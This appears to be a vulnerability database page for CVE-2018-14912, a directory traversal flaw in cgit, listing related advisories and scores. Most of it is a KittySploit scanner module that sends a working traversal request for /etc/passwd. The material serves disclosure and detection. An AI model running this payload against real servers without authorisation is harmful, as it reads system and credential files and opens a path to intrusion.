cgit < 1.2.1 - Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| cgit -- directory traversal vulnerability | 3 Aug 201800:00 | – | freebsd | |
| cgit 1.2.1 - Directory Traversal Exploit | 14 Aug 201800:00 | – | zdt | |
| CVE-2018-14912 | 3 Aug 201819:00 | – | alpinelinux | |
| [ASA-201808-2] cgit: directory traversal | 3 Aug 201800:00 | – | archlinux | |
| CVE-2018-14912 | 13 Aug 201821:33 | – | circl | |
| CVE-2018-14912 | 3 Aug 201819:00 | – | cve | |
| CVE-2018-14912 | 3 Aug 201819:00 | – | cvelist | |
| [SECURITY] [DLA-1459-1] cgit security update | 6 Aug 201807:07 | – | debian | |
| [SECURITY] [DSA 4263-1] cgit security update | 4 Aug 201812:05 | – | debian | |
| [SECURITY] [DSA 4263-1] cgit security update | 4 Aug 201812:05 | – | debian |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""cGit < 1."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'cgit < 1.2.1 - Directory Traversal Detection',
'description': 'cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2018', 'cgit', 'lfi', 'cgit_project', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://cxsecurity.com/issue/WLB-2018080034',
'https://nvd.nist.gov/vuln/detail/CVE-2018-14912',
'https://lists.zx2c4.com/pipermail/cgit/2018-August/004176.html',
'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627',
'https://lists.debian.org/debian-lts-announce/2018/08/msg00005.html',
],
'cve': 'CVE-2018-14912',
}
def run(self):
r = self.http_request(method="GET", path='/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:[x*]:0:0',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="cgit < 1.2.1 - Directory Traversal detected",
path='/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd',
)
return True
return False
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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 37.5
EPSS0.9188